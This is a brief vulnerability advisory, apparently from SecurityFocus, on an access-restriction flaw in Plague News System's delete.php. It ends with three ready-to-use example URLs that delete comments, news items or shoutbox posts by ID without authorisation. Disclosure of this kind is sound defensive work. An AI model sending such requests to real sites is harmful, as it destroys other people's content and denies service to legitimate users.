source: http://www.securityfocus.com/bid/14139/info

Plague News System is prone to an access restriction bypass vulnerability. The issue exists due to a lack of sanity checks performed by 'delete.php' on deletion requests passed to the script.

A remote attacker may exploit this issue to delete site content and deny service for legitimate users. 

http://www.example.com/delete.php?comment=1&id=[ID of comment here]
http://www.example.com/delete.php?news=1&id=[ID of news here]
http://www.example.com/delete.php?shout=1&id=[ID of shout here]